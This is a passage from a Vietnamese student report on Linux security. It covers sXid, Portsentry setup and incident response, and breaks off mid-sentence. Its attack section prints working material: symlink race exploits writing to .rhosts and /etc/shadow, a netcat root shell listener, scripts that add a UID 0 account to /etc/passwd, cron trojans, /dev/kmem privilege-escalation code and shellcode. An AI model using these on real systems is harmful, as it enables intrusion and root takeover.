An toàn và bảo mật thông tin trên linux hệ thống bảo mật và phát hiện xâm nhập mạng (nids)

Muốn thực hiện một cuộc tấn công DDOS phải cần ít nhất 3 yếu tố: - Client: Đây là hệ thống bị kiểm soát bởi Hacker. Nó được dùng những công cụ như Rootkit để dành quyền kiểm soát một hệ thống nào đó, rồi dò tìm những Site bị quản lý kém để có thể lợi dụng như một bộ điều khiển. - Handler: Bộ điều khiển đó đến lượt mình mình bị nhiễm và được dùng để tác động truy tìm các Zombine. Thường là các Server Unix có độ bảo mật kém. Sau khi tìm được nhiều Zombine. Handler sẽ tập hợp chúng lại để điều khiển cuộc tấn công. - Zombine: Được lây nhiễm vào các Server có cấu độ bảo mật kém. Hacker sẽ dùng trực tiếp các Server này để Attack mục tiêu. Zombine sẽ tiếp tục tấn công mục tiêu cho đến khi nào có lệnh chấm dứt quá trình tấn công của Hacker. Vậy làm sao để biết được hệ thống của mình bị các Hacker lợi dụng biến thành Zombine ? Cách đối phó Có rất nhiều cách đối phó. Nhưng có lẽ cách đơn giản và ít tốn kém nhất là luôn kiểm tra và ngăn chặn hệ thống của mình không bị các Hacker lợi dụng. Ta có thể dùng công cụ Zombine Zapper khi nghi ngờ hệ thống của mình đang có nguy cơ trở thành Zombine Zombine Zapper: Chương trình có khả năng hoạt động như những Client tới DDOS Server đang Send những gói tin làm ngập đến mục tiêu. Nó là một Tool rất hữu hiệu khi nghi ngờ hệ thống đang có khả năng trở thành một Zombine, và có thể nhanh chóng vô hiệu hoá Zombine này trước khi hệ thống của ta bị Hacker lợi dụng. Zombine Zapper có thể đóng các DDOS Server.

doc74 trang | Chia sẻ: oanh_nt | Lượt xem: 1303 | Lượt tải: 0download
Bạn đang xem trước 20 trang tài liệu An toàn và bảo mật thông tin trên linux hệ thống bảo mật và phát hiện xâm nhập mạng (nids), để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
ull list of entries along with the changes LISTALL = "no" # Ignore entries for directories in these paths (this means that only files will be recorded, you can effectively ignore all #directory entries by setting this to "/"). The default is /home since some systems have /home g+s. IGNORE_DIRS = "/home" # File that contains a list of (each on it's own line) of other files that sxid should monitor. This is useful for files that #aren't +s, but relate to system integrity (tcpd, inetd, apache...). EXTRA_LIST = "/etc/sxid.list" Mail program. This #changes the default compiled in mailer for reports. You only need this if you have changed it's location and don't want #to recompile sxid. MAIL_PROG = "/usr/bin/mail" Step 2 Đặt một mục nhập (entry) vào trong tập tin crontab của root để tạo sXid chạy như một cronjob: Sxid sẽ chạy từ crond; cơ bản nó theo dõi bất kỳ sự thay đổi nào trong các thư mục và các tập tin s[ug]id. Nếu có bất kỳ một điều gì mới trong các thư mục hay tập tin, các thư mục và tập tin này thay đổi các bit hoặc các mode khác và nó sẽ báo cáo về các thay đổi. Để thêm sxid vào trong cronjob, phải hiệu chỉnh tập tin crontab (nếu không có sẵn tập tin này trên server) và thêm vào các dòng sau. Để soạn thảo crontab, dùng lệnh sau (có quyền là root): [root@deep /]# crontab -e # Sample crontab entry to run every day at 4am 0 4 * * * /usr/bin/sxid Tài liệu kỹ thuật chi tiết Để biết thêm chi tiết, có một số trang hướng dẫn (man) bạn có thể đọc: $ man sxid.conf (5) -configuration settings for sxid $ man sxid (1) - check for changes in s[ug]id files and directories Các công cụ quản trị sXid Ý nghĩa của chương trình này là chạy như một cronjob. Nó phải được chạy một lần một ngày, nhưng đối với busy shell boxes có thể cần chạy nó hai lần một ngày. Cũng có thể chạy chương trình này bằng tay cho việc kiểm tra dấu viết(spot-checking) . • Để Sxid được thực hiện bằng tay, sử dụng lệnh. [root@deep /]# sxid -k sXid Vers : 4.0.1 Check run : Wed Dec 29 12:40:32 1999 This host : mail.openna.com Spotcheck : /home/admin Excluding : /proc/mnt/cdrom/floppy Ignore Dirs: /home Forbidden : /home/tmp No changes found Điều này kiểm tra các thay đổi bằng cách đệ qui trong thư mục làm việc hiện hành. Các tập tin xuất các kết quả theo dõi (log file) sẽ không được đề cập đến và cũng không được email gửi đi. Tất cả các kết quả xuất ra thẳng stdout. Các tập tin cài đặt > /etc/sxid.conf > /usr/bin/sxid > /usr/man/man1/sxid.1 > /usr/man/man5/sxid.conf.5 3.4.8 Công cụ giám sát - Portsentry Bức tường lửa (firewall) giúp đỡ chúng ta bảo vệ mạng khỏi những xân nhập bất hợp pháp từ bên ngoài. Với firewall chúng ta có thể chon những ports nào chúng ta muốn mở và những port nào chúng ta sẽ đóng. Thông tin trên được giữ một cách bí mật bởi những người chịu trách nhiệm đến firewall. Tuyệt đối không người nào từ bên ngoài biết thông tin này, tuy nhiên các hackers cũng như các spammers biết được một vài cách tấn công bạn, họ có thể sử dụng một chương trình đặc biệt để quét tất cả các ports trên server của bạn nhặt thông tin quí giá này (port nào mở và port nào đóng). Một chương trình quét port là một dấu hiệu của một vấn đề lớn đang đến. Nó thường là tiền thân cho một sự tấn công và là một bộ phận nguy hiểm trong việc bảo vệ hữu hiệu tài nguyên thông tin. PortSentry là một chương trình được thiết kế để phát hiện ra và phản hồi tới các port quét nhằm chống lại một host đích trong thời gian chúng đang thực hiện quét port và có một số tùy chọn để phát hiện ra các port quét. Khi nó tìm thấy một port quét nó có thể phản ứng trong những cách sau: • Một logfile lưu các sự việc xảy ra thông qua syslog( ). • Tên host mục tiêu tự động được bỏ vào trong tập tin "/etc/hosts.deny" cho những trình bao bọc TCP. • Host nội bộ tự động cấu hình lại để hướng tất cả các lưu thông tới host mục tiêu trỏ tới một host không hoạt động (deal host) làm hệ thống mục tiêu biến mất. • Local host tự động cấu hình lại để loại bỏ tất cả các gói thông tin từ host mục tiêu thông qua bộ lọc local host. Mục đích của Portsentry là để giúp người quản trị mạng có được công cụ khảo sát kỹ lưỡng hệ thống của mình Các chỉ dẫn cài đặt Portsentry. - Những lệnh dùng trong phần này đều tương thích với Unix. - Đường dẫn nguồn là "/var/tmp" (Các đường dẫn khác đều có thể được). - Quá trình cài đặt đã được kiểm tra trên Red Hat Linux 6.1 và 6.2. - Tất cả các bước trong quá trình cài đặt đều thực hiện với quyền super-user"root" - Phiên bản của Portsentry là 1.0 Gói dữ liệu (Package). Có thể tìm thấy Portsentry từ trang chủ: tải về file: portsentry-1.0.tar.gz Biên dịch Giải nén tập tin tarball (tar.gz). [root@deep /]# cp portsentry-version.tar.gz /var/tmp/ [root@deep /]# cd /var/tmp [root@deep tmp]# tar xzpf portsentry-version.tar.gz Biên dịch và tối ưu hóa. Sửa tập tin "Makefile" để xác định đường dẫn cài đặt Portsentry, các cờ hiệu biên dịch, và tối ưu hóa hệ thống, và để tương thích với cấu trúc tập tin hệ thống của Red Hat. Bước 1 Chuyển tới thư mục Portsentry và gõ vào những lệnh sau trên màn hình terminal: Mở tập tin Makefile (dùng lệnh vi Makefile) và thay đổi các dòng sau: #CC = cc Trở thành: CC = egcs #CFLAGS = -O -Wall Trở thành: CFLAGS = -O9 -funroll-loops -ffast-math -malign-double - cpu=pentiumpro - march=pentiumpro - fomit-frame-pointer -fno-exceptions -Wall #INSTALLDIR = /usr/local/psionic Trở thành: INSTALLDIR = /usr/psionic Những sự thay đổi ở trên sẽ cấu hình phần mềm sử dụng trình biên dịch "egcs", tối ưu hóa các cờ hiệu cụ thể cho hệ thống, và xác định vị trí tất cả các tập tin liên quan đến phần mềm Portsentry đặt vào những thư mục mà chúng ta đã chọn. Bước 2. Trước đây chúng ta sử dụng một đường dẫn không thích hợp (ví dụ /usr/local/psionic). Chúng ta cần thay đổi đường dẫn tập tin cấu hình PortSentry trong tập tin header chính "portsentry_config.h". Chuyển vào trong thư mục PortSentry và soạn thảo tập tin portsentry_config.h (vi portsentry_config.h ) và thay đổi các dòng sau: #define CONFIG_FILE "/usr/local/psionic/portsentry/portsentry.conf" Trở thành: #define CONFIG_FILE "/usr/psionic/portsentry/portsentry.conf" Bước 3 Cài đặt Portsentry vào hệ thống. [root@deep portsentry-1.0]# make linux [root@deep portsentry-1.0]# make install Các lệnh trên sẽ cấu hình Portsentry cho hệ điều hành Linux, biên dịch, xây dựng, và cuối cùng cài đặt các tập tin vào trong thư mục thích hợp.Xóa các tập tin không cần thiết sau khi cài đặt. [root@deep /]# cd /var/tmp [root@deep tmp]# rm -rf portsentry-version/ portsentry-version.tar.gz Lệnh "rm" sẽ xóa tất cả các tập tin nguồn mà chúng ta đã dùng để biên dịch và cài đặt Portsentry. Nó cũng xóa tập tin nén Portsentry trong thư mục "/var/tmp". Cấu hình Cấu hình tập tin "/usr/psionic/portsentry/portsentry.conf" File: "/usr/psionic/portsentry/portsentry.conf" là tập tin cấu hình chính của phần mềm PortSentry, có thể định rõ những port nào bạn muốn mở, những địa chỉ IP nào bị từ chối, theo dõi, bỏ qua, và vô hiệu hóa chức năng phản hồi tự động và một số tính năng khác .... để biết thêm chi tiết hãy đọc tập tin "README.install" trong thư mục nguồn của PortSentry.Soạn thảo tập tin portsentry.conf (vi /usr/psionic/portsentry.conf), sau đó kiểm tra và thay đổi các chọn lựa. Thay đổi quyền mặc định của tập tin portsentry.conf cho mục đích an toàn: [root@deep /]# chmod 600 /usr/psionic/portsentry/portsentry.conf Cấu hình tập tin "/usr/psionic/portsentry/portsentry.ignore" Tập tin " /usr/psionic/portsentry/portsentry.ignore" là nơi mà bạn có thể thêm bất kỳ host nào muốn lờ đi nếu nó kết nới tới một tripwired port. Trong tập tin này phải luôn luôn chứa tối thiểu một địa chỉ của localhost (127.0.0.1) và IP của giao tiếp nội bộ (local interface) (Io). Không khuyến cáo đặt mọi địa chỉ IP trong mạng nội bộ. Soạn thảo tập tin portsentry.ignore (vi /usr/psionic/portsentry.ignore) và thêm vào địa chỉ IP của bất kỳ host nào muốn lờ đi nếu chúng kết nối tới một tripwired port: # Put hosts in here you never want blocked. This includes the IP addresses of all local interfaces on the protected host #(i.e virtual host, mult-home) Keep 127.0.0.1 and 0.0.0.0 to keep people from playing games. 127.0.0.1 Bây giờ, để an toàn cho vấn đề bảo mật bạn cần đổi quyền trên tập tin này: [root@deep /]# chmod 600 /usr/psionic/portsentry/portsentry.ignore Khởi động PortSentry Chương trình PortSentru có thể được cấu hình trong sáu kiểu hoạt động khác nhau, nhưng nhận thấy rằng chỉ một kiểu giao thức có thể được khởi động tại một thời điểm. Chính xác hơn, ta có thể khởi động một kiểu TCP và một kiểu UDP, như vậy có hai kiểu: kiểu TCP và UDP. Những kiểu có sẵn là: • portsentry -tcp (basic port-bound TCP mode) • portsentry -udp (basic port-bound UDP mode) • portsentry -stcp (Stealth TCP scan detection) • portsentry -atcp (Advanced TCP stealth scan detection) • portsentry -sudp ("Stealth" UDP scan detection) • portsentry -audp (Advanced "Stealth" UDP scan detection) Trong phần dưới đây, chúng ta sẽ khởi động kiểu TCP theo cơ chế "Advanced TCP stealth scan detection" và kiểu UDP theo cơ chế "Stealth UDP scan detection". Khởi động kiểu TCP theo cơ chế -atcp: -atcp - Advanced TCP stealth scan detection mode Với kiểu Advanced TCP stealth scan detection (kiểu giao thức "-atcp"). Đầu tiên PortSentry sẽ kiểm tra xem các ports nào bạn đang chạy trên server, sau đó sẽ loại bỏ việc giám sát những port này và sẽ bắt đầu xem những port này và sẽ bắt đầu xem những port còn lại. Điều này rất hữu ích và có tác động chống lại một cách cực kỳ nhanh đối với các chương trình quét port. Cơ chế này sử dụng rất ít thời gian của CPU. Khởi động kiểu UDP theo cơ chế -sudp: -sudp - "Stealth" UDP scan detection mode Với kiểu giao thức Stealth UDP scan detection mode "-sudp". Các ports UDP sẽ được liệt kê và sau đó được giám sát. • Để khởi động PortSentry theo hai mode trên, dùng lệnh sau: [root@deep /]# /usr/psionic/portsentry/portsentry -atcp [root@deep /]# /usr/psionic/portsentry/portsentry -sudp Ghi chú: Có thể thêm các dòng lệnh ở trên vào trong tập tin script " /etc/rc.d/rc.local" và phần mềm PortSentry sẽ tự động được khởi động mỗi lần khởi động hệ thống. Các files của PortSentry được cài đặt trong các thư mục sau: • /usr/psionic • /usr/psionic/portsentry • /usr/psionic/portsentry/portsentry.conf • /usr/psionic/portsentry/portsentry.ignore • /usr/psionic/portsentry/portsentry 3.5 Đối phó khi hệ thống bị tấn công Gần đây, một loạt các vụ tấn công nhắm vào các site của những công ty lớn như Yahoo!, Buy.com, E-Bay, Amazon và CNN Interactive gây ra những thiệt hại vô cùng nghiêm trọng. Những tấn công này là dạng tấn công gây ngừng dịch vụ "Denial-Of-Service" mà được thiết kế để làm ngưng hoạt động của một mạng máy tính hay một website bằng cách gửi liên tục với số lượng lớn các dữ liệu tới mục tiêu tấn công khiến cho hệ thống bị tấn công bị ngừng hoạt động, điều này tương tự như hàng trăm người cùng gọi không ngừng tới 1 số điện thoại khiến nó liên tục bị bận. Trong khi không thể nào tránh được mọi nguy hiểm từ các cuộc tấn công, một số bước nên theo khi ta phát hiện ra rằng hệ thống bị tấn công. Tập hợp 1 nhóm để đối phó với sự tấn công: Nhóm này phải bao gồm những nhân viên kinh nghiệm, những người mà có thể giúp hình thành một kế hoạch hành động đối phó với sự tấn công. Dựa theo chính sách và các quy trình thực hiện về an ninh của công ty, sử dụng các bước thích hợp khi thông báo cho mọi người hay tổ chức về cuộc tấn công. Tìm sự giúp đỡ từ nhà cung cấp dịch vụ Internet và cơ quan phụ trách về an ninh máy tính: Liên hệ nhà cung cấp dịch vụ Internet để thông báo về cuộc tấn công. Có thể nhà cung cấp dịch vụ Internet sẽ chặn đứng được cuộc tấn công. Liên hệ cơ quan phụ trách về an ninh máy tính để thông báo về cuộc tấn công Tạm thời dùng phương thức truyền thông khác (chẳng hạn như qua điện thoại) khi trao đổi thông tin để đảm bảo rằng kẻ xâm nhập không thể chặn và lấy được thông tin. Ghi lại tất cả các hoạt động (chẳng hạn như gọi điện thoại, thay đổi file, ...) Theo dõi các hệ thống quan trọng trong qúa trình bị tấn công bằng các phần mềm hay dịch vụ phát hiện sự xâm nhập (intrusion detection software/services). Điều này có thể giúp làm giảm nhẹ sự tấn công cũng như phát hiện những dấu hiệu của sự tấn công thực sự hay chỉ là sự quấy rối nhằm đánh lạc hướng sự chú ý(chẳng hạn một tấn công DoS với dụng ý làm sao lãng sự chú ý trong khi thực sự đây là một cuộc tấn công nhằm xâm nhập vào hệ thống). Sao chép lại tất cả các files mà kẻ xâm nhập để lại hay thay đổi (như những đoạn mã chương trình, log file, ...) Liên hệ nhà chức trách để báo cáo về vụ tấn công. Những bước nên làm để giảm rủi ro và đối phó với sự tấn công trong tương lai : Xây dựng và trao quyền cho nhóm đối phó với sự tấn công Thi hành kiểm tra an ninh và đánh giá mức độ rủi ro của hệ thống Cài đặt các phần mềm an toàn hệ thống phù hợp để giảm bớt rủi ro Nâng cao khả năng của mình về an toàn máy tính Các bước kiểm tra để bảo đảm tính hiệu quả của hệ thống an ninh Kiểm tra hệ thống an ninh mới cài đặt : chắc chắn tính đúng đắn của chính sách an ninh hiện có và cấu hình chuẩn của hệ thống. Kiểm tra tự động thường xuyên : để khám phá sự “viếng thăm” của những hacker hay những hành động sai trái của nhân viên trong công ty. Kiểm tra ngẫu nhiên: để kiểm tra chính sách an ninh và những tiêu chuẩn, hoặc kiểm tra sự hiện hữu của những lỗ hổng đã được phát hiện (chẳng hạn những lỗi được thông báo từ nhà cung cấp phần mềm) Kiểm tra hằng đêm những file quan trọng: để đánh giá sự toàn vẹn của những file và cơ sở dữ liệu quan trọng Kiểm tra các tài khoản người dùng: để phát hiện các tài khoản không sử dụng, không tồn tại, ... Kiểm tra định kỳ để xác định trạng thái hiện tại của hệ thống an ninh 4 Một số lỗi bảo mật cơ bản: 4.1 Attack From Inside Unix Attack From Inside là các phương pháp tấn công từ bên trong hệ thống. Hay nói một cách khác là một người đang ở trong hệ thống đó và tìm cách tấn công hệ thống đó ở bên trong. Chẳng hạn như anh ta đã có user ở trong hệ thống đó, nhưng cần Get Root hay tấn công gây rối loạn hệ thống đó từ bên trong thì gọi là Attack From Inside. Race Conditions Attack Race Conditions (tình trạng tranh đua). Một trong những cuộc tấn công phổ biến trên các hệ thống Unix/Linux. Race Conditions xảy ra khi một chương trình  hoặc quy trình xử lý nào đó thực hiện một sự kiểm tra. Giữa thời gian mà một sự kiểm tra được làm và hoạt động được thực hiện, kết quả của cuộc kiểm tra đó có thể sẽ phản chiếu trạng thái của hệ thống. Hacker sẽ lợi dụng chương trình hoặc quy trình này trong lúc nó thực hiện đặc quyền. Những chỗ yếu để làm nền tảng cho các cuộc tấn công Race Editions thường xuất hiện trong những chương trình yêu cầu những tập tin tạm thời. Như đoạn Code sau:  #!/bin/sh - TMPFILE=/tmp/foo.$$ if test -x $TMPFILE; then echo "temporary file already exists, possible attack" exit 255 fi #Creat our temporary file date > $TMPFILE (actual Script goes here) rm $TMPFILE Nó sẽ gắng tạo một tập tin tạm thời ở trong /tmp gọi là /tmp/foo.$$. Phải chắc chắn rằng file này không tồn tại trước khi nó được Creat. Mặc dù file /tmp/foo.$$ có thể không tồn tại trước khi đoạn Code này được thực thi. Nhưng nó có thể được tạo ra trước những Command ngày tháng tạo các file excute ở trước. Hiểu nôm na là làm rối loạn hệ thống bởi ngày tháng tạo các file. Đây là cơ hội cho các Hacker...Nếu thành công họ có thể Excute các file or các program hoặc bị thoát ra với những thông báo lỗi về ngày tháng. Nếu Script được chạy như một Cron Job, thì thông báo error sẽ không chỉ được báo đến một người. Hacker có thể trực tiếp thử Excute các Program đặc quyền. Để các cuộc tấn công theo kiểu này có hiệu quả. Hacker có thể tạo ra, gây lên một sự quá tải trên hệ thống bị tấn công. Với hy vọng CPU sẽ chuyển đổi qua lại giữa các quá trình thường xuyên hơn làm quá tải hay làm ngưng trệ hệ thống bị tấn công.  Hiệu ứng của các cuộc tấn công kiểu này phụ thuộc vào các program dễ bị tổn thương và các file của nó (cả file tạm). Như đã nêu ở trên các Hacker có thể cố gắng buộc người dùng ghi đè lên những file hệ thống bởi việc tạo ra các Symlink trước khi các Command về ngày tháng được thực hiện. Chẳng hạn như các Version cũ của GCC bị Bug Race Edition thì các file tạm ở /tmp của nó sẽ dễ dàng bị các Hacker khai thác. Pine Bug Trên các hệ thống Unix/Linux thường có Pine. Một chương trình Mail nhỏ và tiện dụng. Pine các phiên bản 3.91 thường có Bug là để lại một log file tạm thời ở /tmp với Set Mode là 666. Nó thường được xuất hiện khi một phiên Pine được hoạt động hay khi có một thư mới ở trong Inbox. Bây giờ bạn bắt đầu quan sát trạng thái các Process bằng lệnh "ps -aux" và gắng quan sát xem những user nào đang sử dụng Pine. Sau đó tạo Symlink đến file đó.Ta xem qua ví dụ sau: victim (nạn nhân), Hac (Hacker) victim@localhost#: pine hac@localhost#: ps -aux | grep pine hac    1739    0.0 1.8   100   356    pp3   S   19:07    0:00   grep     pine victim 1732    0.8 5.7   249   1104  pp2   S   19:05    0:00   pine hac@localhost#: ls -al /tmp/ | grep victim - - rw-rw-rw- 1 victim elite 4 Aug 26 19:05 .302.f5a4 302.f5a4 = = > file tạm của pine tạo thành ở /tmp hac@localhost# : ps -aux | grep pine hac 1744   0.0   1.8   100   356   pp3   S   19:08 0:00   grep   pine hac@localhost# : ln -s /home/victim/.rhosts /tmp/.302.f5a4 hac@localhost# : ps -aux | grep pine hac   1759   0.0   1.8   100   356   pp3   S   19:11   0:00   grep   pine victim  1756   2.7   5.1   226   992   pp2   S   19:10   0:00   pine hac@localhost# : echo"+ +" > /tmp/.302.f5a4 hac@localhost# : cat /tmp/.302.f5a4+ + hac@localhost# : rm /tmp/.302.f5a4 hac@localhost# : rlogin litterbox.org -l victim Bây giờ hacker đã Login thành công với user victim... LSF Platform LSF Platform của  là một trong những Tool dùng để quản lý tài nguyên, ứng dụng theo dõi hoạt động và phân tích một hệ thống mạng máy tính Unix/Linux... Tuy nhiên một số Version cũ của LSF có một số Bug khá nguy hiểm: Vulnerability #1: Vấn đề với default log cấu hình mặc định khi cài đặt. Hacker có thể đọc bất cứ file nào trên hệ thống và dùng Hard Link để khai thác nó. Khi cấu hình mặc định. Tất cả các file log của LSF đều được lưu giữ ở thư mục /tmp. Bằng cách sử dụng Sym Link các Hacker có thể đọc bất cứ file nào trên hệ thống: ln -s /etc/shadow /tmp/lim.log.hostname Khi Command được phát ra LSF sẽ nối những file log đến /etc/shadow và thay đổi Permission khiến mọi người có thể đọc nó. Vulnerability #2: Vấn đề liên quan đến sự việc mà bất kỳ user nào cũng có thể có được các file cấu hình. Sự việc mà những user có thể sở hữu và tuỳ biến những file cấu hình rất nguy hiểm. Hacker có thể ra lệnh cho LSF làm những việc bất ngờ (dĩ nhiên là có hại cho hệ thống rồi).Thay đổi LSF_ENVDIR như vậy nó sẽ hướng đến Home Directory của ta: hac@localhost# : setenv LSF_ENVDIR /my/home/hac Copy các file cấu hình vào Home Directory của hacker: hac@localhost# : setenv LSF_ENVDIR /my/home/hac Thay đổi nội dung /my/home/dir/lsf.conf : LSB_CMD_LOGDIR=/tmp/test LSF_LOGDIR=/tmp/test hac@localhost# : mkdir /tmp/test Tiếp đến Sym Link file log của LSF đến /etc/shadow hac@localhost# : ln -s /etc/shadow /tmp/test/bqc.log.hostname ['hostname' là hostname của hacker] Bây giờ hacker cần tiếp tục bắt buộc những ứng dụng LSF tới bqc.log.hostname. Tất nhiên là nó cần có suid=root. Như vậy bqc.log là ứng cử viên mà hacker cần. Tất cả những gì hacker cần là hỏi "bqc" về thông tin của hàng đợi không tồn tại. hac@localhost# : bqc -i dupa_zbita "bqc" sẽ tìm ra ngoài mà không có hàng đợi như "dupa_zbita". Sau đó nó sẽ được lưu giữ vào log. nó sẽ sử dụng file config của chính mình /my/home/dir/lsf.conf Vulnerability #3: Những sự bất thường bên trong "lsadmin" và "badmin". Hacker có thể khai thác sự bất thường này để Get Root. "lsadmin" và "badmin" được thực thi khi có UID = Root. Hơn nữa các Hacker còn có thể khai thác một số Bug "Buffer Overflow". Chúng được xuất hiện khi "lsadmin" hoặc "badmin" đang cố gắng xác định thư mục môi trường của nó bới biến LSF_ENVDIR kiểm tra. hac@localhost# : setenv LSF_ENVDIR `perl -e 'print "A" x 292'` hac@localhost# : lsadmin [or badmin] Segmentation fault Nó đã bị Buffer Overflow... Vulnerability #4: Bug này khá nguy hiểm...Hacker có thể làm tràn bộ đệm hay Get Root. Trong trường hợp không sẵn sàng sử dụng 'eauth' như một cơ chế chứng thực. Tất cả sự thực thi LSF được cài đặt với SUID = Root. Vấn đề này sẽ có thể dẫn đến lỗi tràn bộ đệm: hac@localhost# : bstatus `perl -e 'print "A" x 524'` Hacker có thể đặt giá trị trên 524 rất nhiều ... Get Root Để Get Root, hacker phải lợi dụng sự sơ hở về Permission của hệ thống. Thường thì /tmp được cấp phép khá lỏng lẻo. Đầu tiên hacker phải tạo một Shell đơn giản vào thư mục /tmp : hac@localhost# : cat /tmp/rootshell #!/bin/bash /bin/bash –I Bây giờ hacker lấy Netcat ra. Đặt Netcat ra Listen trên Port nào đó vào Shell mới tạo: victim@localhost# : nc –vv –l –p 9999 –e /tmp/rootshell listening on [any] 9999 Bây giờ hacker tiếp tục Connect đến Port 9999 mà đặt Listen ở trên: hac@localhost#: nc –nvv hacked.machine.com 9999 hacked.machine.com [172.18.9.1] 9999 (?) open stty: standard input: Invalid argument root@localhost#: pwd pwd /root Ta đã phần nào hiểu được một số cách tấn công Unix… để chủ động phòng chánh nó. 4.2 Bacdoor trong Unix Cách đơn giản nhất để hacker có thêm quyền là thêm 1 tai khoản UID 0 vào file passwd . Cái này dễ dàng nhất và nhanh chóng nhất giúp hacker nắm quyền thêm quền trong root . Tất nhiên hệ thống sẽ thông báo cho admin 1 tin rằng , Đang có sự thay đổi password. Hacker chỉ việc cài 1 con Backdoor rồi chạy nó. #!/bin/csh # Chèn 1 tài khoản UID=0 vào trong file passwd. set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... Hacker chay file *.pl hoặc *.cgi. Tuy nhiên ta sẽ không để UID 0 hoạt động , cái này do Admin quyết định , khi đó hacker thêm vào tài khoản UID 0 thì cũng coi như vô nghĩa, tuy ngiên hacker tìm cách khác bằng cách thay đổi password của những tài khoản có quyền gần như ngang hàng với Root ( VD : lbin ). Thêm 1 SUID root shell vào trong /tmp lại rất đơn giản bằng code sau : #!/bin/sh cp /bin/csh /tmp/.evilnaughtyshell chmod 4755 /tmp/.evilnaughtyshell Ta sẽ cho hệ thống tránh việc tồn tại những file bất hợp pháp trong /temp cho clean khi hệ thống đuợc reboot hay theo định kỳ . Chúng làm việc như 1 cron job. /var/spool/cron/crontabs/root and /etc/fstab Hacker có thể viết ra các con trojan có khả năng chay trên hệ thống như 1 cron mà không bị hạn chế điều gì . Cron-based trojan I. : #!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif Cron-based trojan II : #!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd chú ý :/dev/kmem exploit nó là đại diện cho hệ thống trong việc thay đổi UID . để yêu cầu /dev/kmem cho read/write permission thì hacker phải gọi được /dev/kmem (excute) và tìm kiếm được nội dung thông tin muốn thay đổi bằng trương trình sau: /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } Hacker cũng có thể thay đổi nội dung trong /dev/kmem bằng đoạn code thay đổi UID trong passwd bằng cách nhúng thêm đoạn mã sau : chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes chmod 600 /dev/kmem # Or whatever it was before Backdoor luôn là công cụ cho các Hacker , ở đây là Backdoor thực hiện những Script như view , del , up chứ không phải Backdoor mở Port. Thậm trí nếu server bảo mật kém thì khi hacker điều khiển Backdoor ta có thể ngang hàng với Root mà không phải leo thang đặc quyền. 4.3 Buffer Overflow (Tràn bộ đệm) Đa phần các exploit code của hacker được viết bằng c, dịch và chạy trên unix, nhằm tấn công vào lỗi tràn bộ đệm (buffer overflow) của máy chủ. Để nghiên cứu về vấn đề này cần rất nhiều thời gian và công sức, vì cả lý thuyết và thực hành đều không dễ dàng gì. Trước tiên xin nói về shellcode. Khi mở một exploit source file, ta thường thấy định nghĩa một mảng ký tự ví dụ như thế này: "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; Đó chỉ là dạng hiển thị ở hệ sô 16 (Hexa) của một tập lệnh, mà thường thì khá đơn giản, đó là hàm gọi execve của c để gọi tới một tiến trình khác trỏ bởi tên file, có thể là /bin/sh của unix hoặc c:\cmd.exe của windows. Việc sinh ra mã hexa này khá phức tạp. Bây giờ chúng ta cùng tìm hiểu xem dùng shellcode tấn công vào lỗi tràn bộ đệm như thế nào. Một đoạn lệnh đơn giản: char input[] = "aaaaaaaaaaa"; char buffer[10]; strcpy(buffer, input); // copy input vào buffer Khi chạy đoạn lệnh này sẽ sinh ra lỗi segmentation fault vì copy 11 byte vào buffer chỉ chứa được 10 byte. Còn đây là bản sửa lỗi: char input[] = "aaaaaaaaaaa"; char buffer[10]; strcpy(buffer, input, 